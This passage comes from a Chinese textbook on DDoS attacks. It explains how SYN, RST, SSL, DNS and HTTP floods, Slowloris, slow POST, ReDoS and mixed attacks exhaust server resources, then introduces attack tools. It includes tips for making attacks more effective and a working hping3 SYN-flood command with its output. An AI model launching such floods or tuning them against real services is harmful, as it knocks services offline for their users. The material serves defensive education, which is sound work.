我们回到那家倒霉的快餐店，看看还有一些什么砸场子的方法。前面通过堵店门的方式阻止其他客人进入快餐店，的确是一种有效的方法，不过这种方法似乎过于简单粗暴了……在快餐店里还存在着其他的问题可以让我们去利用。

当一位客人走进了快餐店，是不是就等同于他已经开始享受这里的服务了呢？当然不是。在他走进这家快餐店之后，他需要首先去收款台点餐并付费，而如果他进入店门之后看到收款台前已经排起了长龙，那么他就很有可能直接离开，或者在排队的过程中由于等待得不耐烦而离开，并选择另一家快餐店就餐。现在，你知道应该怎么办了吧？没错，你可以找几十个朋友到快餐店的收款台前排队，并且每一位“顾客”只是对不同的食物进行询问但不购买，并表现出犹豫不决的样子，甚至可以装作是只懂英语的归国海外华侨，以此来延长排队的时间。这样，新进入快餐店的客人就会因为无法忍受如此漫长的等待时间而离开了。

互联网上的服务器面对着与快餐店相似的问题。终端设备在与服务器进行通信时，经常需要创建会话连接，在这个过程中通常会使用TCP和SSL等协议。在会话创建的初始阶段，服务器需要为新建立的连接分配资源；在会话过程中，服务器需要维护并更新连接的状态，并进行数据传输和交互；在会话结束之后，这些连接资源才会被释放。这些会话连接就像快餐店的收款台，一旦被占满，新进入的会话请求就必须等待前面的会话完成。消耗系统资源的分布式拒绝服务攻击的主要目的就是对系统维护的连接资源进行消耗和占用，阻止正常连接的建立，从而达到拒绝服务的目的。

误区：DDoS攻击都是消耗网络带宽资源的攻击

很多时候，新闻报道中提到DDoS攻击时，都会以“攻击流量达到××”的语句来描述攻击的猛烈程度。这种以攻击流量的带宽作为DDoS攻击危害程度描述指标的说法，通常会让人们误以为DDoS攻击都是消耗网络带宽资源的攻击。

事实上，就像本章开头部分所说的，除了网络带宽资源，DDoS攻击还有消耗系统资源和应用资源的攻击方法，而攻击流量的大小只是决定攻击危害程度的一个方面。对于相同种类的攻击，通常攻击流量越大，其危害也越大；而如果在相同攻击流量的情况下，不同的攻击方法造成的危害和影响则不尽相同。

有时候，人们会错误地将SYN洪水攻击认为是消耗网络带宽资源的DDoS攻击，而事实上，这种攻击的主要危害在于耗尽系统连接表资源。相同攻击流量的SYN洪水攻击会比UDP洪水攻击的危害更大。


3.2.1　攻击TCP连接

TCP是一种面向连接的、可靠的、基于字节流的传输层通信协议。不同主机的应用层之间经常需要可靠的、像管道一样的连接，但是IP层无法提供这样的流机制，在现实的互联网中，这种连接通常通过TCP协议来实现。

TCP连接包括三个阶段：连接创建、数据传送和连接终止。由于在协议的设计过程当中只专注于协议的可用性，而没有对协议的安全性进行比较周密和详细的考虑，因此TCP协议存在很多安全缺陷和安全性问题。

TCP连接的三个阶段都容易受到拒绝服务攻击的影响，我们会在这里对这些攻击手段分别进行介绍。

1.TCP连接洪水攻击
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TCP连接洪水攻击是在连接创建阶段对TCP资源进行攻击的。

TCP三次握手

创建TCP连接需要客户端与服务器进行三次交互，其过程如图3-8所示。
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图3-8　TCP三次握手

首先，客户端主机向服务器发送带有SYN标志的TCP同步报文，并在报文中指明客户端使用的TCP端口和TCP连接的初始序列号。

其次，服务端在接收到客户端的同步报文之后，返回一个带有SYN+ACK标志的报文，表示接受客户端的同步请求，并将TCP序列号加1。

最后，客户端也返回一个带有ACK标志的报文，对服务端的响应进行确认，并将TCP序列号加1。

至此，一个TCP连接建立成功，这个建立连接的过程也被称为TCP三次握手。

在三次握手进行的过程中，服务器会创建并保存TCP连接的信息，这个信息通常被保存在连接表结构中。但是，连接表的大小是有限的，一旦服务器接收到的连接数量超过了连接表能存储的数量，服务器就无法创建新的TCP连接了。

攻击者可以利用大量受控主机，通过快速建立大量恶意的TCP连接占满被攻击目标的连接表，使目标无法接受新的TCP连接请求，从而达到拒绝服务攻击的目的。

TCP连接洪水攻击的原理如图3-9所示。
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图3-9　TCP连接洪水攻击

TCP连接洪水攻击是攻击TCP连接的最基本方法。当有大量的受控主机发起攻击时，其效果非常明显。

2.SYN洪水攻击
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SYN洪水攻击是最经典的一种拒绝服务攻击方式。这种攻击方式在2000年以前就出现过，直到现在依然被攻击者大规模地广泛使用。近年来，SYN洪水攻击仍然占据全部分布式拒绝服务攻击的三分之一以上。

TCP半开连接

在建立TCP连接的过程中，如果在服务器返回SYN+ACK报文后，客户端由于某种原因没有对其进行确认，这时服务器端就需要重传SYN+ACK报文，并等待客户端的确认报文直到TCP连接超时。这种等待客户端确认的连接状态通常被称为半开连接，如图3-10所示。
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图3-10　TCP半开连接

在连接超时之前，半开连接会一直保存在服务器的连接表中。

由于连接表的大小是有限的，如果在短时间内产生大量的半开连接，而这些连接又无法很快地结束，连接表就会迅速被占满，导致新的TCP连接无法建立。

SYN洪水攻击就是攻击者利用受控主机发送大量的TCP SYN报文，使服务器打开大量的半开连接，占满服务器的连接表，从而影响正常用户与服务器建立会话，造成拒绝服务。

攻击者在发送TCP SYN报文时，可以在收到服务器端返回的SYN+ACK报文后，跳过最后的ACK报文发送，使连接处于半开状态。但是这样会很明显地暴露出进行SYN洪水攻击的攻击者的IP地址，同时响应报文会作为反射流量占用攻击者的带宽资源。所以更好的方式是攻击者将SYN报文的源IP地址随机伪造成其他主机的IP地址或不存在的IP地址，这样攻击目标会将应答发送给被伪造的IP地址，从而占用连接资源并隐藏攻击来源。

SYN洪水攻击的原理如图3-11所示。
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图3-11　SYN洪水攻击

SYN洪水攻击发动简单，效果明显，有大量的攻击工具都能够发动这种攻击，至今依然是攻击者最喜爱的攻击方法之一。

3.PSH+ACK洪水攻击
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在TCP数据传输的过程中，可以通过设置PSH标志位来表示当前数据传输结束，需要服务端进行处理。

在正常的TCP传输过程当中，如果待发送的数据会清空发送缓冲区，那么操作系统的TCP/IP协议栈就会自动为该TCP数据包设置PSH标志。同样，当服务端接收到了一个设置了PSH+ACK标志的报文时，意味着当前数据传输已经结束，因此需要立即将这些数据递交给服务进程并清空接收缓冲区，而无须等待判断是否还会有额外的数据到达。

由于带有PSH标志位的TCP数据包会强制要求接收端将接收缓冲区清空并将数据提交给应用服务进行处理，因此当攻击者利用受控主机向攻击目标发送大量的PSH+ACK数据包时，被攻击目标就会消耗大量的系统资源不断地进行接收缓冲区的清空处理，导致无法正常处理数据，从而造成拒绝服务。

PSH+ACK洪水攻击的原理如图3-12所示。
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图3-12　PSH+ACK洪水攻击

单独使用PSH+ACK洪水攻击对服务器产生的影响并不十分明显，更有效的方式是SYN洪水攻击与ACK洪水攻击相结合，这样能够绕过一部分防护设备，增强攻击的效果。

4.RST洪水攻击
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在TCP连接的终止阶段，通常是通过带有FIN标志报文的四次交互（TCP四次挥手）来切断客户端与服务器的TCP连接。但是当客户端或服务器其中之一出现异常状况，无法正常地完成TCP四次挥手以终止连接时，就会使用RST报文将连接强制中断。

TCP RST攻击

在TCP连接中，RST表示复位，用来在异常时关闭连接。发送端在发送RST报文关闭连接时，不需要等待缓冲区中的数据报全部发送完毕，而会直接丢弃缓冲器的数据并发送RST报文；同样，接收端在收到RST报文后，也会清空缓冲区并关闭连接，并且不必发送ACK报文进行确认。

攻击者可以利用RST报文的这个特性，发送伪造的带有RST标志位的TCP报文，强制中断客户端与服务器的TCP连接。在伪造RST报文的过程中，服务器端的IP地址和端口号是已知的，攻击者还需要设法获得客户端的IP地址和端口号，并且使RST报文的序列号处于服务器的接收窗口之内。如果攻击者和被攻击客户端或服务器处于同一内网，这些信息可以通过欺骗和嗅探等方式获取到。

TCP RST攻击的原理如图3-13所示。
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图3-13　TCP RST攻击

很多情况下，攻击者不会与被攻击客户端或服务器处于同一内网，导致发动TCP RST攻击时难以获取端口和序列号。在这种情况下，攻击者可以利用大量的受控主机猜测端口和序列号，进行盲打，发动RST洪水攻击。只要在数量巨大的RST报文中有一条与攻击目标的端口号相同，并且序列号落在目标的接收窗口之中，就能够中断连接。

RST洪水攻击的原理如图3-14所示。
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图3-14　RST洪水攻击

严格来说，TCP RST攻击和RST洪水攻击是针对用户的拒绝攻击方式。这种攻击通常被用来攻击在线游戏或比赛的用户，从而影响比赛的结果并获得一定的经济利益。

5.Sockstress攻击
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Sockstress攻击是研究人员在2008年提出的一种攻击TCP连接的方法。 [2]
 与前面几种攻击方法不同的是，Sockstress攻击不需要在短时间内发送大量的攻击流量，因此不属于洪水攻击，而是一种慢速攻击。

误区：DDoS攻击都是洪水攻击

在提到DDoS攻击时，人们通常会条件反射性地想到UDP洪水攻击、SYN洪水攻击、RST洪水攻击等，并会由此认为DDoS攻击都是洪水攻击。

事实上，洪水攻击确实占据了DDoS攻击方法中相当大的比例，但并不是所有的DDoS攻击都是洪水攻击。除了洪水攻击外，还有一些被称为慢速攻击（Low and Slow Attack）的攻击方法。在本章开头部分，我们对于DDoS攻击精髓的表述中提到：“消耗或长期占用大量资源，从而达到拒绝服务的目的”。洪水攻击就是通过快速发送大量数据和请求，达到迅速消耗大量资源的目的；而慢速攻击则有所不同，它会缓慢而坚定地发送请求并长期占用，一点一滴地蚕食目标的资源。

如果把DDoS攻击某个特定目标看做是一次杀手的谋杀任务，那么洪水攻击就是杀手手持机关枪直接射击目标，而慢速攻击则是《勺子杀人狂》中的杀手使用一把勺子完成了谋杀任务。

在TCP传输数据时，并不是将数据直接递交给应用程序处理，而是先临时存储在接收缓冲区中，该接收缓冲区的大小是由TCP窗口表示的。如果TCP窗口大小为0，则表示接收缓冲区已被填满，发送端应该停止发送数据，直到接收端的窗口发生了更新。Sockstress攻击就是利用该原理长时间地维持TCP连接，以达到拒绝服务攻击的目的。

Sockstress攻击首先会完成TCP三次握手以建立TCP连接，但是在三次握手的最后一次ACK应答中，攻击者将其TCP窗口大小设置为0，随后进行一次数据请求。攻击目标在传输数据时，发现接收端的TCP窗口大小为0，就会停止传输数据，并发出TCP窗口探测包，询问攻击者其TCP窗口是否有更新。由于攻击者没有更改TCP窗口的大小，被攻击目标就会一直维持TCP连接等待数据发送，并不断进行窗口更新的探测。如果攻击者利用大量的受控主机进行Sockstress攻击，被攻击目标会一直维持大量的TCP连接并进行大量窗口更新探测，其TCP连接表会逐渐耗尽，无法接受新的连接而导致拒绝服务。

Sockstress攻击的原理如图3-15所示。
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图3-15　Sockstress攻击

Sockstress攻击的另一种方式是将TCP窗口设置为一个非常小的值，例如4字节。这样攻击目标将不得不把需要发送的数据切分成大量4字节大小的分片，这会极大地消耗目标的内存和处理器资源，造成系统响应缓慢和拒绝服务。


3.2.2　攻击SSL连接

安全套接层（Secure Sockets Layer，SSL）是为网络通信提供安全及数据完整性的一种安全协议。SSL能够在传输层对网络连接进行加密，以防止传输的数据明文被监听和截获。

然而，SSL协议加密、解密和密钥协商的过程中会消耗大量的系统资源，严重降低机器的性能，因此，通常只有在传输密码等机密信息时才使用SSL协议进行传输。

图3-16是在SSL协议密钥协商过程中，客户端与服务器端消耗的CPU计算资源的对比图。 [3]
 可以看到，如果使用RSA系列的公钥密码算法，那么服务器端所要消耗的资源都会比客户端多。在最极端的情况下，使用RSA 4096进行加解密，服务器端需要花费相当于客户端资源的25倍才能完成计算。
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图3-16　使用不同加密算法时客户端与服务器消耗资源的对比

攻击者可以利用SSL协议消耗资源的特性进行拒绝服务攻击。

1.THC SSL DoS攻击
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在进行SSL数据传输之前，通信双方首先要进行SSL握手，以协商加密算法交换加密密钥，进行身份认证。通常情况下，这样的SSL握手过程只需要进行一次即可，但是在SSL协议中有一个Renegotiation选项，通过它可以进行密钥的重新协商以建立新的密钥。

THC SSL DoS攻击是安全研究人员在2011年提出的一种针对SSL的拒绝服务攻击方法。 [4]
 这种方法就是利用Renegotiation选项，造成被攻击目标资源耗尽。在进行SSL连接并握手之后，攻击者反复不断地进行密钥重新协商过程，而密钥重协商过程需要服务器投入比客户端多15倍的CPU计算资源。攻击者只需要一台普通的台式机就能够拖慢一台高性能服务器，而如果有大量主机同时进行攻击，则会使服务器忙于协商密钥而完全停止响应。

THC SSL DoS攻击的原理如图3-17所示。
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图3-17　THC SSL DoS攻击

另外，即使服务器不支持Renegotiation，攻击者依然可以通过另行打开新的SSL连接的方式来制造类似的攻击效果。

2.SSL洪水攻击
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在SSL握手的过程中，服务器会消耗较多的CPU计算资源进行加解密，并进行数据的有效性检验。对于客户端发过来的数据，服务器需要先花费大量的计算资源进行解密，之后才能对数据的有效性进行检验。重要的是，不论数据是否是有效的，服务器都必须先进行解密才能够做检查。攻击者可以利用这个特性进行SSL洪水攻击。

在进行洪水攻击时，一个要点是需要攻击者能够在客户端大量地发出攻击请求，这就需要客户端所进行的计算尽可能地少。对于SSL洪水攻击，比较好的方式是在数据传输之前，进行SSL握手的过程中发动攻击。攻击者并不需要完成SSL握手和密钥交换，而只需要在这个过程中让服务器去解密和验证，就能够大量地消耗服务器的计算资源，因此，攻击者可以非常容易地构造密钥交换过程中的请求数据，达到减少客户端计算量的目的。

SSL洪水攻击的原理如图3-18所示。
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图3-18　SSL洪水攻击

攻击者可以使用SSLSqueeze等工具来发动SSL洪水攻击。


3.3　攻击应用资源

我们再一次回头来看一看那家倒霉的快餐店。前面两节中，我们分别对堵门和占用收款台这两种砸场子的方法进行了简单的介绍（再次声明，这里只是用来做类比举例，不是真的在教读者去快餐店砸场子），你可能会觉得这两种方式显得不够优雅。堵门自不必说，占用收款台的方法也需要很多朋友站在收款台前排队，可能过不了多长时间，你的小伙伴儿们就会因为疲劳来找你抱怨了。

那么，有没有办法坐着就把问题给解决了呢？答案是肯定的，还记得我们在这一章一开始提出的“可乐薯条大作战”吗？用这个办法你就能够坐着把问题解决了。对于快餐店来说，相当数量的客人并不是点完餐之后就带走的，而是需要在店里将这顿饭解决。因此，能够在收款台付款并拿到食物只是享受快餐店服务的第一步，能够找到座位坐下才是服务真正的开始。只要你把座位全部耗尽并长时间占用，真实的客人就会选择其他的店就餐了。

互联网上的服务器也是一样的。客户端的请求能够到达服务器，并且正常地与服务器建立会话连接，这只是服务的第一步。如果在之后的步骤中，客户端不能够获取到所需要的内容，就依然没有得到服务。网络应用和服务在处理数据时，通常需要消耗一定的网络连接、计算和存储资源，这些资源是由应用程序向系统进行申请并自行管理和维护的。消耗应用资源的分布式拒绝服务攻击就是通过向应用提交大量消耗资源的请求，从而达到拒绝服务的目的。

近年来，消耗应用资源的分布式拒绝服务攻击正逐渐成为拒绝服务攻击的主要手段之一。而由于DNS和Web服务的广泛性和重要性，这两种服务也就成为了消耗应用资源的分布式拒绝服务攻击的最主要的攻击目标。


3.3.1　攻击DNS服务

DNS服务是互联网的一项核心服务。通过使用DNS，人们在访问网站时不需要记忆其IP地址，而只须输入其域名即可。在IPv6网络环境下，由于IP地址由原来的32位扩展到了128位，变得更加难以记忆，DNS服务也就变得更加重要。当DNS服务的可用性受到威胁时，互联网上的大量设备都会受到影响甚至无法正常运行。历史上曾有多次针对DNS进行的攻击事件，都造成了较大影响。

针对DNS服务的攻击方法主要有DNS QUERY洪水攻击和DNS NXDOMAIN洪水攻击两种。

1.DNS QUERY洪水攻击
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DNS QUERY洪水攻击是指向DNS服务器发送大量查询请求以达到拒绝服务效果的一种攻击方法。

DNS查询和解析过程

当客户端向DNS服务器查询某域名时，DNS服务器会首先检查其本地缓存中是否有该域名的记录，如果缓存中有该域名的记录（即命中），则直接将缓存中记录的IP地址作为非权威应答返回给客户端。如果在缓存中没有找到该域名的记录，则会进行迭代查询，从根域名开始，逐级进行域名解析，直到解析出完整的域名，之后服务器会将域名解析结果作为应答发送给客户端，并生成一条解析记录保存到缓存中。

例如，对www.nsfocus.com这个域名进行解析，如果在缓存中没有查到其记录，DNS服务器会首先向根域名服务器查询.com的域名解析服务器，然后向.com域名服务器查询nsfocus.com的域名解析服务器，最后向nsfocus.com域名解析服务器查询得到www.nsfocus.com的域名解析结果，并将结果返回给发起查询的客户端。

DNS查询和解析的过程通常如图3-19所示。
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图3-19　DNS解析过程

在DNS解析的过程中，客户端发起一次查询请求，DNS服务器可能需要进行额外的多次查询才能完成解析的过程并给出应答，在这个过程中会消耗一定的计算和网络资源。如果攻击者利用大量受控主机不断发送不同域名的解析请求，那么DNS服务器的缓存会被不断刷新，而大量解析请求不能命中缓存又导致DNS服务器必须消耗额外的资源进行迭代查询，这会极大地增加DNS服务器的资源消耗，导致DNS响应缓慢甚至完全拒绝服务。

DNS QUERY洪水攻击的原理如图3-20所示。
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图3-20　DNS QUERY洪水攻击

进行DNS QUERY洪水攻击的要点在于每一个DNS解析请求所查询的域名应是不同的，这样可以比较有效地避开DNS服务器缓存中的解析记录，达到更好的资源消耗效果。

2.DNS NXDOMAIN洪水攻击
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DNS NXDOMAIN洪水攻击是DNS QUERY洪水攻击的一个变种攻击方式，区别在于后者是向DNS服务器查询一个真实存在的域名，而前者是向DNS服务器查询一个不存在的域名（NXDOMAIN即Non-eXistent Domain）。

在进行DNS NXDOMAIN洪水攻击时，DNS服务器会进行多次域名查询，同时，其缓存会被大量NXDOMAIN记录所填满，导致响应正常用户的DNS解析请求的速度变慢。这与DNS QUERY洪水攻击所达到的效果类似。除此以外，一部分DNS服务器在获取不到域名的解析结果时，还会再次进行递归查询，向其上一级的DNS服务器发送解析请求并等待应答，这进一步增加了DNS服务器的资源消耗。因此，DNS NXDOMAIN洪水攻击通常比DNS QUERY洪水攻击的效果更好。

DNS NXDOMAIN洪水攻击的原理如图3-21所示。
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图3-21　DNS NXDOMAIN洪水攻击


3.3.2　攻击Web服务

近年来，Web技术发展非常迅速。人们可以通过浏览器使用Web服务，简单方便地获取需要的信息；而许多机构和企业的重要信息和关键业务也是通过Web服务的方式对外提供。一旦Web服务受到拒绝服务攻击，就会对其承载的业务造成致命的影响。

有多种方法能够对Web服务进行分布式拒绝服务攻击，本节将依次进行介绍。

1.HTTP洪水攻击
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Web服务通常使用超文本传输协议（HyperText Transfer Protocol，HTTP）进行请求和响应数据的传输（图3-22）。
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图3-22　Web访问过程

常见的HTTP请求有GET请求和POST请求两种。通常，GET请求用于从Web服务器获取数据和资源，例如请求页面、获取图片和文档等；POST请求用于向Web服务器提交数据和资源，例如发送用户名/密码、上传文件等。在处理这些HTTP请求的过程中，Web服务器通常需要解析请求、处理和执行服务端脚本、验证用户权限并多次访问数据库，这会消耗大量的计算资源和IO访问资源。

如果攻击者利用大量的受控主机不断地向Web服务器恶意发送大量HTTP请求，要求Web服务器处理，就会完全占用服务器的资源，造成其他正常用户的Web访问请求处理缓慢甚至得不到处理，导致拒绝服务。这就是HTTP洪水攻击。

由于HTTP协议是基于TCP协议的，需要完成三次握手建立TCP连接才能开始HTTP通信，因此进行HTTP洪水攻击时无法使用伪造源IP地址的方式发动攻击。这时，攻击者通常会使用HTTP代理服务器。HTTP代理服务器在互联网上广泛存在。通过使用HTTP代理服务器，不仅可以隐藏来源以避免被追查，还能够提高攻击的效率——攻击者连接代理服务器并发送完请求后，可以直接切断与该代理服务器的连接并开始连接下一个代理服务器。这时代理服务器与目标Web服务器的HTTP连接依然保持，Web服务器需要继续接收数据并处理HTTP请求。

HTTP洪水攻击的原理如图3-23所示。
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图3-23　HTTP洪水攻击

与DNS服务类似，Web服务也存在缓存机制。如果攻击者的大量请求都命中了服务器缓存，那么这种攻击的主要作用仅体现在消耗网络带宽资源上，对于计算和IO资源的消耗是非常有限的。因此，高效的HTTP洪水攻击应不断发出针对不同资源和页面的HTTP请求，并尽可能请求无法被缓存的资源（如关键词搜索结果、用户相关资料等），从而加重服务器的负担，增强攻击效果。

此外，如果Web服务器支持HTTPS，那么进行HTTPS洪水攻击是更为有效的一种攻击方式。一方面，在进行HTTPS通信时，Web服务器需要消耗更多的资源用来进行认证和加解密；另一方面，一部分防护设备无法对HTTPS通信数据流进行处理，也会导致攻击流量绕过防护设备，直接对Web服务器造成攻击。

HTTP洪水攻击是目前对Web服务威胁最大的攻击之一，有大量的攻击工具支持HTTP洪水攻击，发动简单其效果明显，已经成为攻击者使用的主要攻击方式之一。

2.Slowloris攻击
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Slowloris攻击是一种针对Web服务器的慢速HTTP攻击，由安全研究人员在2009年提出。 [5]


在HTTP协议中规定，HTTP头部以连续的“\r\n\r\n”作为结束标志。许多Web服务器在处理HTTP请求的头部信息时，会等待头部传输结束后再进行处理。因此，如果Web服务器没有接收到连续的“\r\n\r\n”，就会一直接收数据并保持与客户端的连接。利用这个特性，攻击者能够长时间与Web服务器保持连接，并逐渐耗尽Web服务器的连接资源。

攻击者在发送HTTP GET请求时，缓慢地发送无用的header字段，并且一直不发送“\r\n\r\n”结束标志，这样就能够长时间占用与Web服务器的连接并保证该连接不被超时中断。然而，Web服务器能够处理的并发连接数是有限的，如果攻击者利用大量的受控主机发送这种不完整的HTTP GET请求并持续占用这些连接，就会耗尽Web服务器的连接资源，导致其他用户的HTTP请求无法被处理，造成拒绝服务。

Slowloris攻击的原理如图3-24所示。
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图3-24　Slowloris攻击

攻击者使用Slowloris、slowhttptest等工具就可以简单地发动Slowloris攻击。在Slowloris攻击方法出现以后，IIS、nginx等一部分Web服务器软件针对该攻击方法进行了修改，但是Apache、dhttpd等Web服务器软件依然会受到Slowloris攻击的影响。

3.慢速POST请求攻击
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慢速POST请求攻击也是一种针对Web服务器的慢速HTTP攻击，由安全研究人员在2010年提出。 [6]
 与Slowloris攻击不同的是，慢速POST请求攻击利用缓慢发送HTTP BODY的方式达到占用并耗尽Web服务器连接资源的目的。

在HTTP头部信息中，可以使用Content-Length字段来指定HTTP消息实体的传输长度。当Web服务器接收到的请求头部中含有Content-Length字段时，服务器会将该字段的值作为HTTP BODY的长度，持续接收数据并在达到Content-Length值时对HTTP BODY的数据内容进行处理。利用这个特性，攻击者能够长时间与Web服务器保持连接，并逐渐耗尽Web服务器的连接资源。

攻击者在发送HTTP POST请求时，在请求头部中将Content-Length设置为一个很大的值（例如10000），并将HTTP BODY以非常缓慢的速度一个字节一个字节的向Web服务器发送。这样，Web服务器就需要一直维持与客户端的连接并等待数据传输结束。由于Content-Length被设置成了很大的值，而HTTP BODY的传输速度又非常缓慢，攻击者就可以长时间占用这个连接。通过间隔性地发送单字节的HTTP BODY内容，攻击者能够确保连接不因超时而导致中断。如果攻击者利用大量的受控主机发送这种缓慢的HTTP POST请求并持续占用这些连接，就会耗尽Web服务器的连接资源，导致其他用户的HTTP请求无法被处理，造成拒绝服务。

慢速POST请求攻击的原理如图3-25所示。

攻击者可以使用slowhttptest等攻击发动慢速POST请求攻击。与Slowloris攻击有所不同，由于HTTP协议设计上的原因，所有的Web服务器软件都会受到慢速POST请求攻击的影响。

4.数据处理过程攻击
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Web服务器在收到HTTP请求之后，需要检查并处理其中的数据，通过恶意构造请求数据的内容，攻击者可以显著地增加数据处理过程中的资源消耗，造成拒绝服务攻击。这里以正则表达式拒绝服务攻击和哈希冲突拒绝服务攻击为例进行说明。
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图3-25　慢速POST请求攻击

正则表达式拒绝服务攻击又被称为ReDoS，是安全研究人员在2009年发现的一种拒绝服务攻击方法。 [7]
 在处理请求数据时，Web应用通常会使用正则表达式进行字符串的匹配操作。一部分正则表达式引擎会使用一种被称为非确定性有限状态自动机（NFA）的实现方式，以便能够处理复杂的正则表达式，例如包含了向后引用或者捕获括号的正则表达式。然而，这种正则引擎的实现方式也导致了其处理时间增加，尤其是在确定“否定匹配”（即输入字符串与正则表达式不匹配）时，正则引擎需要对所有可能的匹配路径全部进行测试。如果位于Web应用中的正则表达式写得不够好，需要测试的匹配路径数量会随着输入字符串的长度呈指数级增长。利用恶意构造的输入字符串，攻击者只需要提交相对较短的输入字符串（30个字符左右）就可以强制正则引擎处理数亿个匹配路径，所需时间可以达到几个小时甚至几天。只需要几个这种类似的恶意正则表达式匹配请求，就能够完全占用Web服务器的计算资源，造成Web服务器拒绝服务。
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图3-26　正常状态下的哈希表

哈希冲突拒绝服务攻击是安全研究人员在2011年提出的一种拒绝服务攻击方法。 [8]
 Web应用在处理请求中的POST数据时，通常使用键-值对的方式来进行存储。在PHP、Python、Java等语言中，键-值对的实质是一个哈希表，Web应用程序通过计算“键”的哈希来获取其所对应的“值”。正常情况下，这个哈希表中的哈希冲突较少，因此进行查找和插入的速度很快。图3-26所示为正常状态下的哈希表。

如果攻击者构造一组恶意的POST数据，使得请求中的“键”的哈希值全部相同，那么保存POST数据的哈希表就会因此退化成为链表，对哈希表的查找和插入等操作则变成了对链表的遍历操作，造成大量的计算资源被占用，导致拒绝服务攻击。图3-27所示为大量冲突状态下的哈希表。
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图3-27　大量冲突状态下的哈希表


3.4　混合攻击

我们根据分布式拒绝服务攻击所消耗的资源，将其分为消耗网络带宽资源的攻击、消耗系统资源的攻击和消耗应用资源的攻击。前面三节分别对三种攻击方式进行了介绍。我们也可以从其他角度对分布式拒绝服务攻击进行分类。例如，从攻击数据包所在的网络层次来划分，可以将分布式拒绝服务攻击分为网络层攻击、传输层攻击和应用层攻击；从攻击数据包发送的频率和速度来划分，又可以将分布式拒绝服务攻击分为洪水攻击和慢速攻击。

这些分类方法如表3-1所示。

表3-1　拒绝服务攻击方法的分类
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通过对不同的攻击方法进行归类，我们可以归纳和总结出一些攻击方法的共性，并了解每种攻击方法的特性，加深对分布式拒绝服务攻击整体的认识。然而，在实际的攻击中，攻击者并不关心到底使用哪种攻击方法，只要能够达到使目标服务不可用的目的，攻击者通常会发动他所有的攻击手段，尽其所能地展开攻击。我们把这种方式称为混合攻击。

简单的混合攻击，就是同时对被攻击目标使用多种分布式拒绝服务攻击方法、针对不同的资源进行攻击。许多攻击工具都能够同时发动多种攻击。对于攻击者来说，使用这些工具进行混合攻击的成本与只发动一种攻击的成本并没有太大的区别。但是对于被攻击目标来说，却要同时面对不同协议、不同资源的分布式拒绝服务攻击，分析、响应和处理的成本会有很大的增加。

比较高级的混合攻击，则是有针对性地将特定的几种攻击方法组合在一起，这些方法互为补充，相辅相成，能够显著地增强攻击效果。例如，将SYN洪水攻击与ACK洪水攻击组合在一起，SYN请求包及与之匹配的ACK应答包，就能够绕过一些防护设备的反向探测算法，使一部分攻击流量到达被攻击目标；再如，将Slowloris攻击和慢速POST请求攻击混入到HTTP洪水攻击中，攻击目标在发现攻击并进行处理时，大量的洪水攻击会淹没了慢速请求攻击，而无法发现被拒绝服务的真正原因。相比于普通的分布式拒绝服务攻击，这种混合攻击具有更高的隐蔽性和更好的攻击效果。

除了各种分布式拒绝服务攻击手段之间的相互组合，拒绝服务攻击与其他攻击手段相结合也是混合攻击的一种。在这种混合攻击中，拒绝服务攻击通常是作为烟雾弹来隐藏真正的攻击行为的。在遭到攻击时，攻击目标的注意力会被完全吸引到服务不可用的问题上，因此会忙于处理分布式拒绝服务攻击，以期望能够尽快地恢复服务的可用性。这时攻击者便可以乘虚而入，进行数据窃取甚至远程控制等操作而不被发现。

总之，不同的拒绝攻击方法有着不同的攻击效果，而攻击者会将各种攻击方法有效地混合在一起，达到攻击效果的最大化。


3.5　小结

在本章中，我们首先从一家倒霉的快餐店的比喻中领悟了分布式拒绝服务攻击的精髓，即：利用分布式的客户端，向服务提供者发起大量看似合法的请求，消耗或长期占用大量资源，从而达到拒绝服务的目的。然后，我们对消耗网络带宽资源、消耗系统资源和消耗应用资源的各种分布式拒绝服务攻击方法进行了比较详细的介绍，并给出了每种攻击方法的风险程度。最后，我们又从其他的角度对各种分布式拒绝服务攻击方法进行了归类和总结，并介绍了几种混合攻击的思路、方法和效果。可以预见，随着研究的不断深入，一定会出现更多更有威胁的攻击方法。
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第4章　DDoS攻击的工具

“凡兵有大论者，必先论其器。”


——《管子·参患》


出于商业竞争、黑客行动主义以及网络敲诈等多种因素，DDoS攻击事件正在呈上升趋势。而随着新式智能开源DDoS攻击工具不断发布，攻击的实施变得越来越容易，由此带来的威胁也变得比以往更为严重。

本章将介绍一些常用的攻击工具。这些工具出现的时间长短不一，在具体介绍它们之前，首先来看这些工具出现的时间和先后顺序（见图4-1），对工具的演变和发展历程有一个大概的了解。
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图4-1　DDoS工具时间线

在这些DDoS攻击工具中，一些因为被知名黑客组织作为御用攻击工具而广为人知，如LOIC；另一些则是由某些知名安全研究人员和研究组织发布的，如HULK等。安全研究人员发布工具的初衷往往是善意的，目的是让用户抢先于黑客发现并修补自身问题，或提供给用户进行压力测试等。但任何事物都有两面性，如果攻击者使用工具，则有可能会对现实的网络安全产生巨大威胁。

在本章的后面，会将这些攻击工具分为综合性工具、压力测试工具和专业攻击工具三类，并对每个工具进行具体介绍。


4.1　综合性工具

综合性工具除了可以进行DDoS攻击外，还能用于其他用途，如端口扫描、安全审计以及防火墙测试等。实际上，大部分综合性工具开发的原始目的并不是用于进行DDoS攻击的，而更多的是充当着“多面手”的网络检查和测试工具。

本节介绍的综合性工具包括Hping、PenTBox和Zarp。


4.1.1　Hping

Hping [1]
 由Salvatore Sanfilippo创建于2004年，是一个编码和解析TCP/IP协议的命令行开源工具，常用于测试网络及主机的安全，同时也是安全审计、防火墙测试等工作的标配工具。Hping的命令行形式很像常用的Ping命令，不同的是，它不仅能发送ICMP请求，而且支持TCP、UDP以及RAW-IP等协议。Hping的特色在于能够定制数据包的各部分，因此用户可以更灵活地对目标主机进行细微探测。

Hping也常常被用作网络攻击工具。使用Hping可以很方便地构建DoS攻击，如ICMP洪水攻击、UDP洪水攻击以及SYN洪水攻击等。正因如此，它曾是黑客组织Anonymous早期发动网络攻击时常用的工具之一。

Hping可在Linux、FreeBSD、NetBSD、OpenBSD、Solaris、Mac OS X、Windows等多种平台上运行，目前最新版本为Hping3。值得一提的是，新版本支持使用TCL脚本来描述TCP/IP协议各字段，这使得构造和分析数据变得更加方便。

Hping的常用功能包括网络压力测试、防火墙测试和端口扫描等。下面结合实例给出利用Hping进行网络压力测试的常见方法，更多用法可参考其帮助手册。

这里以Syn FLOOD攻击为例。




[root@Fedora ~]# hping3 -i u1 -S -p 80 192.168.65.160
HPING 192.168.65.160 (p3p1 192.168.65.160): S set, 40 headers + 0 data bytes
len=46 ip=192.168.65.160 ttl=128 DF id=31869 sport=80 flags=SA seq=0 win=64320 rtt=34.4 ms
